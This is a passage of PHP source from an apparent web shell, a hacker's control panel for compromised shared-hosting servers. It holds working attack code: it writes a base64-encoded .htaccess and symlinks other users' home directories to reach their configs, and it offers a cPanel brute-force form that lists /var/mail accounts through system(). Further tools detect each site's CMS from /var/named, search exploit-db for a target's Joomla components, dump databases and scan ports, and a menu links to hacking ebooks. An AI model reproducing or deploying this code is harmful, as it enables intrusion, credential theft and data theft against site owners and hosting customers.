  1275. $temp = trim($temp);
  1276. $file5 = fopen("test.txt","w");
  1277. fputs($file5,$temp);
  1278. fclose($file5);
  1279. $htaccess =
  1280. 'T3B0aW9ucyBhbGwgCkRpcmVjdG9yeUluZGV4IHJlYWRtZS5odG1sIApBZGRUeXBlIHRleHQvcGxh
  1281. aW4gLnBocCAKQWRkSGFuZGxlciBzZXJ2ZXItcGFyc2VkIC5waHAgCkFkZFR5cGUgdGV4dC9wbGFp
  1282. biAuaHRtbCAKQWRkSGFuZGxlciB0eHQgLmh0bWwgClJlcXVpcmUgTm9uZSAKU2F0aXNmeSBBbnk=
  1283. ';
  1284. $file = fopen(".htaccess","w+");
  1285. $write = fwrite ($file ,base64_decode($htaccess));
  1286. $file = fopen("test.txt", "r") or exit("Unable to open file!");
  1287. while(!feof($file))
  1288. {
  1289. $s = fgets($file);
  1290. $matches = array();
  1291. $t = preg_match('/\/(.*?)\:\//s', $s, $matches);
  1292. $matches = str_replace("home/","",$matches[1]);
  1293. if(strlen($matches) > 12 || strlen($matches) == 0 || $matches == "bin" || $matches == "etc/X11/fs" || $matches == "var/lib/nfs" || $matches == "var/arpwatch" || $matches == "var/gopher" || $matches == "sbin" || $matches == "var/adm" || $matches == "usr/games" || $matches == "var/ftp" || $matches == "etc/ntp" || $matches == "var/www" || $matches == "var/named")
  1294. continue;
  1295. syml($matches,$matches);
  1296. }
  1297. fclose($file);
  1298. echo "</table>";
  1299. unlink("test.txt");
  1300. echo "<center><font color=lime size=3>[ Done ]</font></center>";
  1301. echo "<br><center><a href=$fn/ target=_blank><font size=3 color=#009900>| Go Here |</font></a></center>";
  1302. }
  1303. echo "<hr><center><b><a href=".$_SERVER['PHP_SELF'].">BACK</a>";
  1304. exit;
  1305. }
  1306. ?>
  1307. <form method="POST" target="_blank">
  1308. <strong>
  1309. <input name="page" type="hidden" value="find"><table>
  1310. </strong><br><br><center><font size="5" style="italic" color="#00ff00">=[ Cpanel BruteForce ]=</font></center><br><br>
  1311. <table width="600" border="0" cellpadding="3" cellspacing="1" align="center">
  1312. <tr>
  1313. <td valign="top" bgcolor="#151515" class="style2" style="width: 139px">
  1314. <center><b><font size="5" style="italic" color="#00ff00">Cpanel BruteForce</font></b></center></td></tr>
  1315. <tr>
  1316. <td>
  1317. <table width="100%" border="0" cellpadding="3" cellspacing="1" align="center">
  1318. <td valign="top" bgcolor="#151515" class="style2" style="width: 139px">
  1319. <strong>User :</strong></td>
  1320. <td valign="top" bgcolor="#151515" colspan="5"><strong><textarea cols="79" class ='inputz' rows="10" name="usernames"><?php system('ls /var/mail');?></textarea></strong></td>
  1321. </tr>
  1322. <tr>
  1323. <td valign="top" bgcolor="#151515" class="style2" style="width: 139px">
  1324. <strong>Pass :</strong></td>
  1325. <td valign="top" bgcolor="#151515" colspan="5"><strong><textarea cols="79" class ='inputz' rows="10" name="passwords"></textarea></strong></td>
  1326. </tr>
  1327. <tr>
  1328. <td valign="top" bgcolor="#151515" class="style2" style="width: 139px">
  1329. <strong>Type :</strong></td>
  1330. <td valign="top" bgcolor="#151515" colspan="5">
  1331. <span class="style2"><strong>Simple : </strong> </span>
  1332. <strong>
  1333. <input type="radio" name="type" value="simple" checked="checked" class="style3"></strong>
  1334. <font class="style2"><strong>/etc/passwd : </strong> </font>
  1335. <strong>
  1336. <input type="radio" name="type" value="passwd" class="style3"></strong><span class="style3"><strong>
  1337. </strong>
  1338. </span>
  1339. </td>
  1340. </tr>
  1341. <tr>
  1342. <td valign="top" bgcolor="#151515" style="width: 139px"></td>
  1343. <td valign="top" bgcolor="#151515" colspan="5"><strong><input class ='inputzbut' type="submit" value="start">
  1344. </strong>
  1345. </td>
  1346. <tr>
  1347. </form>
  1348. <tr>
  1349. <td valign="top" bgcolor="#151515" class="style1" colspan="6"><strong>Get Config :</strong></td>
  1350. </tr>
  1351. <form method="POST" target="_blank">
  1352. <strong>
  1353. <input name="mendapatkan" type="hidden" value="passwd">
  1354. </strong>
  1355. <tr>
  1356. <td valign="top" bgcolor="#151515" style="width: 139px"><strong>Folder Name :</strong></td>
  1357. <td valign="top" bgcolor="#151515"><strong><input class ='inputz' size="35" name="foldername" type="text"></strong></td>
  1358. </strong>
  1359. </td>
  1360. </tr>
  1361. <tr>
  1362. <td valign="top" bgcolor="#151515" style="width: 139px"></td>
  1363. <td valign="top" bgcolor="#151515" colspan="5"><strong><input class ='inputzbut' type="submit" value="GO">
  1364. </strong>
  1365. </td>
  1366. <tr>
  1367. </form>
  1368. <tr>
  1369. <td valign="top" bgcolor="#151515" class="style1" colspan="6"><strong>Get Wordlist</strong></td>
  1370. </tr>
  1371. <form method="POST" target="_blank">
  1372. <strong>
  1373. <input name="pass" type="hidden" value="password">
  1374. </strong>
  1375. <tr>
  1376. <td valign="top" bgcolor="#151515" style="width: 139px"><strong>Url Config :</strong></td>
  1377. <td valign="top" bgcolor="#151515"><strong><input class ='inputz' size="35" name="url" type="text"></strong></td>
  1378. </strong>
  1379. </td>
  1380. </tr>
  1381. <tr>
  1382. <td valign="top" bgcolor="#151515" style="width: 139px"></td>
  1383. <td valign="top" bgcolor="#151515" colspan="5"><strong><input class ='inputzbut' type="submit" value="GO">
  1384. </strong>
  1385. </td>
  1386. <tr>
  1387. </form>
  1388. <tr>
  1389. <td valign="top" bgcolor="#151515" class="style1" colspan="6"><strong>Info
  1390. Security</strong></td>
  1391. </tr>
  1392. <tr>
  1393. <td valign="top" bgcolor="#151515" style="width: 139px"><strong>Safe Mode</strong></td>
  1394. <td valign="top" bgcolor="#151515" colspan="5">
  1395. <strong>
  1396. <?php
  1397. $safe_mode = ini_get('safe_mode');
  1398. if($safe_mode=='1')
  1399. {
  1400. echo 'ON';
  1401. }else{
  1402. echo 'OFF';
  1403. }
  1404. ?>
  1405. </strong>
  1406. </td>
  1407. </tr>
  1408. <tr>
  1409. <td valign="top" bgcolor="#151515" style="width: 139px"><strong>Desible Function</strong></td>
  1410. <td valign="top" bgcolor="#151515" colspan="5">
  1411. <strong>
  1412. <form method="POST" target="_blank">
  1413. <strong>
  1414. <input name="matikan" type="hidden" value="sekatan">
  1415. </strong>
  1416. <?php
  1417. if(''==($func=@ini_get('disable_functions')))
  1418. {
  1419. echo "<font color=#00ff00>No Security for Function</font></b>";
  1420. }else{
  1421. echo '<script>alert("Please see below and press >Please Click Here First!<");</script>';
  1422. echo "<font color=red>$func</font></b>";
  1423. echo '<tr><td valign="top" bgcolor="#151515" style="width: 139px"></td>';
  1424. echo '<td valign="top" bgcolor="#151515" colspan="5"><strong><input type="submit" value="Please Click Here First!">
  1425. </strong>
  1426. </td></tr>';
  1427. }
  1428. ?></strong></td></tr></table></table></table>
  1429. <?
  1430. }
  1431. ///////////////////////////////////////////////////////////////////////////
  1432. elseif(isset($_GET['x']) && ($_GET['x'] == 'tutor'))
  1433. {
  1434. ?>
  1435. <form action="?y=<?php echo $pwd; ?>&x=tutor" method="post">
  1436. <center><br><br><b>+--=[ Tutorial & Ebook hacking ]=--+</b><br>
  1437. <form method="post" action="">
  1438. <table class="tabnet" border="1" >
  1439. <tr>
  1440. <td align="center">English</td><td align="center">Indonesian</td>
  1441. </tr>
  1442. <tr>
  1443. <td><form method="post" action="">&nbsp;
  1444. E-book Hacking &nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;:&nbsp;
  1445. <select class="inputzbut" name="pilih" id="pilih">
  1446. <option value=""selected>-----------------[ Select ]-----------------</option>
  1447. <option value="tutorial24" > Hacking Exposed-5 </option>
  1448. <option value="tutorial25"> Internet Denial Of Service </option>
  1449. <option value="tutorial26">Computer Viruses For Dummies</option>
  1450. <option value="tutorial27">Hack Attacks Testing</option>
  1451. <option value="tutorial28">Secrets Of A Super Hacker</option>
  1452. <option value="tutorial29">Stealing The Network</option>
  1453. <option value="tutorial30">Hacker's HandBook</option>
  1454. </select>
  1455. <input type="submit" name="submit" class="inputzbut" value="Download">
  1456. </td></form>
  1457. <td><form method="post" action="">&nbsp;
  1458. Tutorial by X'1N73CT &nbsp;&nbsp;&nbsp;&nbsp;:&nbsp;
  1459. <select class="inputzbut" name="pilih" id="pilih">
  1460. <option value=""selected>-----------------[ Select ]-----------------</option>
  1461. <option value="tutorial2">Search Engine Hacking</option>
  1462. <option value="tutorial3">SQL Injection dengan hackbar</option>
  1463. <option value="tutorial1" >Bypass Union</option>
  1464. </select>
  1465. <input type="submit" name="submit" class="inputzbut" value="Download">
  1466. </form></td>
  1467. </tr>
  1468. <tr>
  1469. <td>
  1470. <form method="post" action="">&nbsp;
  1471. E-Book from Syn|gress &nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;:&nbsp;
  1472. <select class="inputzbut" name="pilih" id="pilih">
  1473. <option value=""selected>-----------------[ Select ]-----------------</option>
  1474. <option value="cryptography_for_defeloper">Cryptography for Developer</option>
  1475. <option value="tutorial31">Mobile Malware Attack and Defense</option>
  1476. <option value="forensic">CD and DVD Forensic</option>
  1477. <option value="ddd">Open Sourch Security Tools</option>
  1478. <option value="metasploit">Metaslpoit Toolkit</option>
  1479. <option value="stealing_network">Stealing the Network</option>
  1480. <option value="security_polices">Creating Security Polices</option>
  1481. </select>
  1482. <input type="submit" name="submit" class="inputzbut" value="Download">
  1483. </form></td>
  1484. <td>
  1485. <form method="post" action="">&nbsp;
  1486. X-CODE MAGAZINE &nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;:&nbsp;
  1487. <select class="inputzbut" name="pilih" id="pilih">
  1488. <option value=""selected>-----------------[ Select ]-----------------</option>
  1489. <option value="tutorial4">X-CODE MAGAZINE 1</option>
  1490. <option value="tutorial5">X-CODE MAGAZINE 2</option>
  1491. <option value="tutorial6">X-CODE MAGAZINE 3</option>
  1492. <option value="tutorial7">X-CODE MAGAZINE 4</option>
  1493. <option value="tutorial8">X-CODE MAGAZINE 5</option>
  1494. <option value="tutorial9">X-CODE MAGAZINE 6</option>
  1495. <option value="tutorial10">X-CODE MAGAZINE 7</option>
  1496. <option value="tutorial11">X-CODE MAGAZINE 8</option>
  1497. <option value="tutorial12">X-CODE MAGAZINE 9</option>
  1498. <option value="tutorial13">X-CODE MAGAZINE 10</option>
  1499. <option value="tutorial14">X-CODE MAGAZINE 11</option>
  1500. <option value="tutorial15">X-CODE MAGAZINE 12</option>
  1501. <option value="tutorial16">X-CODE MAGAZINE 13</option>
  1502. <option value="tutorial17">X-CODE MAGAZINE 14</option>
  1503. <option value="tutorial18">X-CODE MAGAZINE 15</option>
  1504. <option value="tutorial19">X-CODE MAGAZINE 16</option>
  1505. <option value="tutorial20">X-CODE MAGAZINE 17</option>
  1506. <option value="tutorial21">X-CODE MAGAZINE 18</option>
  1507. <option value="tutorial22">X-CODE MAGAZINE 19</option>
  1508. <option value="tutorial23">X-CODE MAGAZINE 20</option>
  1509. <option value="tutorial024">X-CODE MAGAZINE 21</option>
  1510. </select>
  1511. <input type="submit" name="submit" class="inputzbut" value="Download" ></a>
  1512. </form></td></tr></table><br><br>
  1513. <?php
  1514. $submit = $_POST ['submit'];
  1515. if(isset($submit)) {
  1516. $pilih = $_POST['pilih'];
  1517. if ( $pilih == 'tutorial1') {
  1518. ?>
  1519. <script>
  1520. document.location = 'http://www.pharmconseil-elearning.com/main/upload/by_passing_illegal_mix_of_collations_for_operation__union__by_x_1n73ct.pdf';
  1521. </script>
  1522. <?php
  1523. }
  1524. elseif ( $pilih == 'tutorial2') {
  1525. ?>
  1526. <script>
  1527. document.location = 'http://www.pharmconseil-elearning.com/main/upload/Search_engine_hacking_by_x_1n73ct.pdf';
  1528. </script>
  1529. <?php
  1530. }
  1531. elseif ( $pilih == 'tutorial3') {
  1532. ?>
  1533. <script>
  1534. document.location = 'http://www.pharmconseil-elearning.com/main/upload/Sql_injection_dengan_hackbar.pdf';
  1535. </script>
  1536. <?php
  1537. }
  1538. elseif ( $pilih == 'tutorial4') {
  1539. ?>
  1540. <script>
  1541. document.location = 'http://xcode.or.id/files/xcode_magazine_1.zip';
  1542. </script>
  1543. <?php
  1544. }
  1545. elseif ( $pilih == 'tutorial5') {
  1546. ?>
  1547. <script>
  1548. document.location = 'http://xcode.or.id/files/xcode_magazine_2.zip';
  1549. </script>
  1550. <?php
  1551. }
  1552. elseif ( $pilih == 'tutorial6') {
  1553. ?>
  1554. <script>
  1555. document.location = 'http://xcode.or.id/files/xcode_magazine_3.zip';
  1556. </script>
  1557. <?php
  1558. }
  1559. elseif ( $pilih == 'tutorial7') {
  1560. ?>
  1561. <script>
  1562. document.location = 'http://xcode.or.id/files/xcode_magazine_4.zip';
  1563. </script>
  1564. <?php
  1565. }
  1566. elseif ( $pilih == 'tutorial8') {
  1567. ?>
  1568. <script>
  1569. document.location = 'http://xcode.or.id/files/xcode_magazine_5.rar';
  1570. </script>
  1571. <?php
  1572. }
  1573. elseif ( $pilih == 'tutorial9') {
  1574. ?>
  1575. <script>
  1576. document.location = 'http://xcode.or.id/files/xcode_magazine_6.rar';
  1577. </script>
  1578. <?php
  1579. }
  1580. elseif ( $pilih == 'tutorial10') {
  1581. ?>
  1582. <script>
  1583. document.location = 'http://xcode.or.id/files/xcode_magazine_7.rar';
  1584. </script>
  1585. <?php
  1586. }
  1587. elseif ( $pilih == 'tutorial11') {
  1588. ?>
  1589. <script>
  1590. document.location = 'http://xcode.or.id/files/xcode_magazine_8.rar';
  1591. </script>
  1592. <?php
  1593. }
  1594. elseif ( $pilih == 'tutorial12') {
  1595. ?>
  1596. <script>
  1597. document.location = 'http://xcode.or.id/files/xcode9.zip';
  1598. </script>
  1599. <?php
  1600. }
  1601. elseif ( $pilih == 'tutorial13') {
  1602. ?>
  1603. <script>
  1604. document.location = 'http://xcode.or.id/files/xcode10.zip';
  1605. </script>
  1606. <?php
  1607. }
  1608. elseif ( $pilih == 'tutorial14') {
  1609. ?>
  1610. <script>
  1611. document.location = 'http://xcode.or.id/files/xcode11.zip';
  1612. </script>
  1613. <?php
  1614. }
  1615. elseif ( $pilih == 'tutorial15') {
  1616. ?>
  1617. <script>
  1618. document.location = 'http://xcode.or.id/files/Xcode12.zip';
  1619. </script>
  1620. <?php
  1621. }
  1622. elseif ( $pilih == 'tutorial16') {
  1623. ?>
  1624. <script>
  1625. document.location = 'http://xcode.or.id/files/Xcode13.zip';
  1626. </script>
  1627. <?php
  1628. }
  1629. elseif ( $pilih == 'tutorial17') {
  1630. ?>
  1631. <script>
  1632. document.location = 'http://xcode.or.id/files/Xcode14.zip';
  1633. </script>
  1634. <?php
  1635. }
  1636. elseif ( $pilih == 'tutorial18') {
  1637. ?>
  1638. <script>
  1639. document.location = 'http://xcode.or.id/Xcode15.zip';
  1640. </script>
  1641. <?php
  1642. }
  1643. elseif ( $pilih == 'tutorial19') {
  1644. ?>
  1645. <script>
  1646. document.location = 'http://xcode.or.id/xcode_magazine_16.zip';
  1647. </script>
  1648. <?php
  1649. }
  1650. elseif ( $pilih == 'tutorial20') {
  1651. ?>
  1652. <script>
  1653. document.location = 'http://xcode.or.id/xcode_magazine_17.zip';
  1654. </script>
  1655. <?php
  1656. }
  1657. elseif ( $pilih == 'tutorial21') {
  1658. ?>
  1659. <script>
  1660. document.location = 'http://xcode.or.id/xcode_magazine_18.zip';
  1661. </script>
  1662. <?php
  1663. }
  1664. elseif ( $pilih == 'tutorial22') {
  1665. ?>
  1666. <script>
  1667. document.location = 'http://xcode.or.id/xcode_magazine_19.zip';
  1668. </script>
  1669. <?php
  1670. }
  1671. elseif ( $pilih == 'tutorial23') {
  1672. ?>
  1673. <script>
  1674. document.location = 'http://xcode.or.id/xcode_magazine_20.zip';
  1675. </script>
  1676. <?php
  1677. }
  1678. elseif ( $pilih == 'tutorial024') {
  1679. ?>
  1680. <script>
  1681. document.location = 'http://xcode.or.id/xcode_magazine_21.zip';
  1682. </script>
  1683. <?php
  1684. }
  1685. elseif ( $pilih == 'tutorial24') {
  1686. ?>
  1687. <script>
  1688. document.location = 'http://www.insecure.in/ebooks/hacking_exposed_5.rar';
  1689. </script>
  1690. <?php
  1691. }
  1692. elseif ( $pilih == 'tutorial25') {
  1693. ?>
  1694. <script>
  1695. document.location = 'http://www.insecure.in/ebooks/internet_denial_of_service.rar';
  1696. </script>
  1697. <?php
  1698. }
  1699. elseif ( $pilih == 'tutorial26') {
  1700. ?>
  1701. <script>
  1702. document.location = 'http://www.insecure.in/ebooks/computer_viruses_for_dummies.rar';
  1703. </script>
  1704. <?php
  1705. }
  1706. elseif ( $pilih == 'tutorial27') {
  1707. ?>
  1708. <script>
  1709. document.location = 'http://www.insecure.in/ebooks/hack_attacks_testing.rar';
  1710. </script>
  1711. <?php
  1712. }
  1713. elseif ( $pilih == 'tutorial28') {
  1714. ?>
  1715. <script>
  1716. document.location = 'http://www.insecure.in/ebooks/secrets_of_super_hacker.rar';
  1717. </script>
  1718. <?php
  1719. }
  1720. elseif ( $pilih == 'tutorial29') {
  1721. ?>
  1722. <script>
  1723. document.location = 'http://www.insecure.in/ebooks/stealing_network_how_to_own_shadow.rar';
  1724. </script>
  1725. <?php
  1726. }
  1727. elseif ( $pilih == 'tutorial30') {
  1728. ?>
  1729. <script>
  1730. document.location = 'http://www.insecure.in/ebooks/webapp_hackers_handbook.rar';
  1731. </script>
  1732. <?php
  1733. }
  1734. elseif ( $pilih == 'ddd') {
  1735. ?>
  1736. <script>
  1737. document.location = 'http://199.91.153.95/t8dni7k639hg/3o321lcwwk8u5bh/Open_Source_Security_Tools.pdf';
  1738. </script>
  1739. <?php
  1740. }
  1741. elseif ( $pilih == 'tutorial31') {
  1742. ?>
  1743. <script>
  1744. document.location = 'http://205.196.121.149/sg22hm8qjbhg/afsa7ibbk4ny2kd/Mobile_Malware_Attacks_and_Defense.pdf';
  1745. </script>
  1746. <?php
  1747. }
  1748. elseif ( $pilih == 'cryptography_for_defeloper') {
  1749. ?>
  1750. <script>
  1751. document.location = 'http://205.196.121.248/0sod33qw66ug/wypyz555sc9bn7h/Cryptography_for_Developers.pdf';
  1752. </script>
  1753. <?php
  1754. }
  1755. elseif ( $pilih == 'forensic') {
  1756. ?>
  1757. <script>
  1758. document.location = 'http://205.196.120.85/uisebgmioyjg/6l70l00ba9yoksq/CD_and_DVD_Forensics.pdf';
  1759. </script>
  1760. <?php
  1761. }
  1762. elseif ( $pilih == 'metasploit') {
  1763. ?>
  1764. <script>
  1765. document.location = 'http://199.91.153.192/3t115p2f6gvg/zvrrddmq6icqtd2/Metasploit_Toolkit.pdf';
  1766. </script>
  1767. <?php
  1768. }elseif ( $pilih == 'stealing_network') {
  1769. ?>
  1770. <script>
  1771. document.location = 'http://205.196.123.138/wbsxltb8rbtg/5vm8a1d23i9zje3/Stealing_the_Network_-_How_to_Own_the_Box.pdf';
  1772. </script>
  1773. <?php
  1774. }elseif ( $pilih == 'security_polices') {
  1775. ?>
  1776. <script>
  1777. document.location = 'http://199.91.153.73/6le01f562ehg/6l5ep021dhvlhlq/Creating_Security_Policies_and_Implementing_Identity_Management_with_Active_Directory.pdf';
  1778. </script>
  1779. <?php
  1780. }
  1781. }
  1782. }
  1783. ////////////////////////////////////////////////////////////////////
  1784. //////////////////////////////////////////////////////////////////
  1785. elseif(isset($_GET['x']) && ($_GET['x'] == 'cms_detect'))
  1786. {
  1787. ?>
  1788. <form action="?y=<?php echo $pwd; ?>&x=cms_detect" method="post">
  1789. <br><br><br><br><center><b><font size=4>+--=[ CMS Detector ]=--+</font></b></center><br><br>
  1790. <?php
  1791. if(!file_exists('pee.tmp')){
  1792. @fopen('pee.tmp', 'w');
  1793. echo'<table align="center" border="1" width="45%" cellspacing="0" cellpadding="4" class="td1">';
  1794. echo'<tr><td><center><b>SITE</b></center></td><td><center><b>USER</b></center></td><td><center><b>CMS</b></center></td></table>';
  1795. $p = 0;
  1796. if(is_readable("/var/named")){
  1797. $list = scandir("/var/named");
  1798. $current_dir = posix_getcwd();
  1799. $dir = explode("/",$current_dir);
  1800. foreach($list as $domain){
  1801. if(strpos($domain,".db"))
  1802. {
  1803. $domain = str_replace('.db','',$domain);
  1804. $owner = posix_getpwuid(fileowner("/etc/valiases/".$domain));
  1805. error_reporting(0);
  1806. $link = $pageURL.'pee/'.$owner['name'];
  1807. cms_add($link,$domain,$owner['name'],"WordPress");
  1808. cms_add($link,$domain,$owner['name'],"Joomla");
  1809. cms_add($link,$domain,$owner['name'],"vBulletin");
  1810. cms_add($link,$domain,$owner['name'],"WHMCS");
  1811. cms_add($link,$domain,$owner['name'],"PhpBB");
  1812. cms_add($link,$domain,$owner['name'],"MyBB");
  1813. cms_add($link,$domain,$owner['name'],"IPB");
  1814. cms_add($link,$domain,$owner['name'],"SMF");
  1815. cms_add($link,$domain,$owner['name'],"Drupal");
  1816. cms_add($link,$domain,$owner['name'],"e107");
  1817. cms_add($link,$domain,$owner['name'],"Seditio");
  1818. cms_add($link,$domain,$owner['name'],"osCommerce");
  1819. }
  1820. }
  1821. }
  1822. }else{
  1823. echo'<table align="center" border="1" width="45%" cellspacing="0" cellpadding="4" class="td1">';
  1824. echo'<tr><td><center><b>SITE</b></center></td><td><center><b>USER</b></center></td><td><center><b>CMS</b></center></td></table><br><br>';
  1825. $content = file_get_contents($pageURL.'pee.tmp');
  1826. echo $content;
  1827. }
  1828. }
  1829. /////////////////////////////////////////////////////////////////
  1830. elseif(isset($_GET['x']) && ($_GET['x'] == 'jss'))
  1831. {
  1832. ?>
  1833. <form action="?y=<?php echo $pwd; ?>&x=jss" method="post">
  1834. <?php
  1835. echo '
  1836. <br><br><br><p align="center"><b><font size="3">Enter Targeting IP</font></b></p><br>
  1837. <form method="POST">
  1838. <p align="center"><input type="text" class="inputz" name="site" size="65"><input class="inputzbut" type="submit" value="Scan"></p>
  1839. </form><center>
  1840. ';
  1841. @set_time_limit(0);
  1842. @error_reporting(E_ALL | E_NOTICE);
  1843. function check_exploit($comxx){
  1844. $link ="http://www.exploit-db.com/search/?action=search&filter_page=1&filter_description=$comxx&filter_exploit_text=&filter_author=&filter_platform=0&filter_type=0&filter_lang_id=0&filter_port=&filter_osvdb=&filter_cve=";
  1845. $result = @file_get_contents($link);
  1846. if (eregi("No results",$result)) {
  1847. echo"<td>Not Found</td><td><a href='http://www.google.com/#hl=en&q=download+$comxx+joomla+extension'>Download</a></td></tr>";
  1848. }else{
  1849. echo"<td><a href='$link'>Found</a></td><td><=</td></tr>";
  1850. }
  1851. }
  1852. function check_com($url){
  1853. $source = @file_get_contents($url);
  1854. preg_match_all('{option,(.*?)/}i',$source,$f);
  1855. preg_match_all('{option=(.*?)(&|&|")}i',$source,$f2);
  1856. preg_match_all('{/components/(.*?)/}i',$source,$f3);
  1857. $arz=array_merge($f2[1],$f[1],$f3[1]);
  1858. $coms=array();
  1859. foreach(array_unique($arz) as $x){
  1860. $coms[]=$x;
  1861. }
  1862. foreach($coms as $comm){
  1863. echo "<tr><td>$comm</td>";
  1864. check_exploit($comm);
  1865. }
  1866. }
  1867. function sec($site){
  1868. preg_match_all('{http://(.*?)(/index.php)}siU',$site, $sites);
  1869. if(eregi("www",$sites[0][0])){
  1870. return $site=str_replace("index.php","",$sites[0][0]);
  1871. }else{
  1872. return $site=str_replace("http://","http://www.",str_replace("index.php","",$sites[0][0]));
  1873. }}
  1874. $npages = 50000;
  1875. if ($_POST)
  1876. {
  1877. $ip = trim(strip_tags($_POST['site']));
  1878. $npage = 1;
  1879. $allLinks = array();
  1880. while($npage <= $npages)
  1881. {
  1882. $x=@file_get_contents('http://www.bing.com/search?q=ip%3A' . $ip . '+index.php?option=com&first=' . $npage);
  1883. if ($x)
  1884. {
  1885. preg_match_all('(<div class="sb_tlst">.*<h3>.*<a href="(.*)".*>(.*)</a>.*</h3>.*</div>siU', $x, $findlink);
  1886. foreach ($findlink[1] as $fl)
  1887. $allLinks[]=sec($fl);
  1888. $npage = $npage + 10;
  1889. if (preg_match('(first=' . $npage . '&amp)siU', $x, $linksuiv) == 0)
  1890. break;
  1891. }
  1892. else
  1893. break;
  1894. }
  1895. $allDmns = array();
  1896. foreach ($allLinks as $kk => $vv){
  1897. $allDmns[] = $vv;
  1898. }
  1899. echo'<table border="1" width=\"80%\" align=\"center\">
  1900. <tr><td width=\"30%\"><b>Server IP&nbsp;&nbsp;&nbsp;&nbsp; : </b></td><td><b>'.$ip.'</b></td></tr>
  1901. <tr><td width=\"30%\"><b>Sites Found&nbsp; : </b></td><td><b>'.count(array_unique($allDmns)).'</b></td></tr>
  1902. </table>';
  1903. echo "<br><br>";
  1904. echo'<table border="1" width="80%" align=\"center\">';
  1905. foreach(array_unique($allDmns) as $h3h3){
  1906. echo'<tr id=new><td><b><a href='.$h3h3.'>'.$h3h3.'</a></b></td><td><b>Exploit-db</b></td><td><b>challenge of Exploiting ..!</b></td></tr>';
  1907. check_com($h3h3);
  1908. }
  1909. echo"</table>";
  1910. }
  1911. }
  1912. /////////////////////////////////////////////////////////////////
  1913. elseif(isset($_GET['x']) && ($_GET['x'] == 'dump'))
  1914. {
  1915. ?>
  1916. <form action="?y=<?php echo $pwd; ?>&x=dump" method="post">
  1917. <?php
  1918. echo $head.'<p align="center">';
  1919. echo '
  1920. <table width=371 class=tabnet >
  1921. <tr><th colspan="2">Database Dump</th></tr>
  1922. <tr>
  1923. <td>Server </td>
  1924. <td><input class="inputz" type=text name=server size=52></td></tr><tr>
  1925. <td>Username</td>
  1926. <td><input class="inputz" type=text name=username size=52></td></tr><tr>
  1927. <td>Password</td>
  1928. <td><input class="inputz" type=text name=password size=52></td></tr><tr>
  1929. <td>DataBase Name</td>
  1930. <td><input class="inputz" type=text name=dbname size=52></td></tr>
  1931. <tr>
  1932. <td>DB Type </td>
  1933. <td><form method=post action="'.$me.'">
  1934. <select class="inputz" name=method>
  1935. <option value="gzip">Gzip</option>
  1936. <option value="sql">Sql</option>
  1937. </select>
  1938. <input class="inputzbut" type=submit value=" Dump! " ></td></tr>
  1939. </form></center></table>';
  1940. if ($_POST['username'] && $_POST['dbname'] && $_POST['method']){
  1941. $date = date("Y-m-d");
  1942. $dbserver = $_POST['server'];
  1943. $dbuser = $_POST['username'];
  1944. $dbpass = $_POST['password'];
  1945. $dbname = $_POST['dbname'];
  1946. $file = "Dump-$dbname-$date";
  1947. $method = $_POST['method'];
  1948. if ($method=='sql'){
  1949. $file="Dump-$dbname-$date.sql";
  1950. $fp=fopen($file,"w");
  1951. }else{
  1952. $file="Dump-$dbname-$date.sql.gz";
  1953. $fp = gzopen($file,"w");
  1954. }
  1955. function write($data) {
  1956. global $fp;
  1957. if ($_POST['method']=='ssql'){
  1958. fwrite($fp,$data);
  1959. }else{
  1960. gzwrite($fp, $data);
  1961. }}
  1962. mysql_connect ($dbserver, $dbuser, $dbpass);
  1963. mysql_select_db($dbname);
  1964. $tables = mysql_query ("SHOW TABLES");
  1965. while ($i = mysql_fetch_array($tables)) {
  1966. $i = $i['Tables_in_'.$dbname];
  1967. $create = mysql_fetch_array(mysql_query ("SHOW CREATE TABLE ".$i));
  1968. write($create['Create Table'].";\n\n");
  1969. $sql = mysql_query ("SELECT * FROM ".$i);
  1970. if (mysql_num_rows($sql)) {
  1971. while ($row = mysql_fetch_row($sql)) {
  1972. foreach ($row as $j => $k) {
  1973. $row[$j] = "'".mysql_escape_string($k)."'";
  1974. }
  1975. write("INSERT INTO $i VALUES(".implode(",", $row).");\n");
  1976. }
  1977. }
  1978. }
  1979. if ($method=='ssql'){
  1980. fclose ($fp);
  1981. }else{
  1982. gzclose($fp);}
  1983. header("Content-Disposition: attachment; filename=" . $file);
  1984. header("Content-Type: application/download");
  1985. header("Content-Length: " . filesize($file));
  1986. flush();
  1987. $fp = fopen($file, "r");
  1988. while (!feof($fp))
  1989. {
  1990. echo fread($fp, 65536);
  1991. flush();
  1992. }
  1993. fclose($fp);
  1994. }
  1995. }
  1996. /////////////////////////////////////////////////////////////////
  1997. elseif(isset($_GET['x']) && ($_GET['x'] == 'port-sc'))
  1998. {
  1999. ?>
  2000. <form action="?y=<?php echo $pwd; ?>&x=port-sc" method="post">
  2001. <?php
  2002. echo '<br><br><center><br><b>+--=[ Port Scanner ]=--+</b><br>';
  2003. $start = strip_tags($_POST['start']);
  2004. $end = strip_tags($_POST['end']);
  2005. $host = strip_tags($_POST['host']);
  2006. if(isset($_POST['host']) && is_numeric($_POST['end']) && is_numeric($_POST['start'])){
  2007. for($i = $start; $i<=$end; $i++){
  2008. $fp = @fsockopen($host, $i, $errno, $errstr, 3);
  2009. if($fp){
  2010. echo 'Port '.$i.' is <font color=green>open</font><br>';
  2011. }
  2012. flush();
  2013. }
  2014. }else{
  2015. echo '<table class=tabnet style="width:300px;padding:0 1px;">
  2016. <input type="hidden" name="y" value="phptools">
  2017. <tr><th colspan="5">Port Scanner</th></center></tr>
  2018. <tr>
  2019. <td>Host</td>
  2020. <td><input type="text" class="inputz" style="width:220px;color:#00ff00;" name="host" value="localhost"/></td>
  2021. </tr>
  2022. <tr>
  2023. <td>Port start</td>
  2024. <td><input type="text" class="inputz" style="width:220px;color:#00ff00;" name="start" value="0"/></td>
  2025. </tr>
  2026. <tr><td>Port end</td>
  2027. <td><input type="text" class="inputz" style="width:220px;color:#00ff00;" name="end" value="5000"/></td>
  2028. </tr><td><input class="inputzbut" type="submit" style="color:#00ff00" value="Scan Ports" />
  2029. </td></form></center></table>';
  2030. }
  2031. }
  2032. /////////////////////////////////////////////////////////////////
  2033. elseif(isset($_GET['x']) && ($_GET['x'] == 'hash'))
  2034. {
  2035. $submit= $_POST['enter'];
  2036. if (isset($submit)) {
  2037. $pass = $_POST['password']; // password
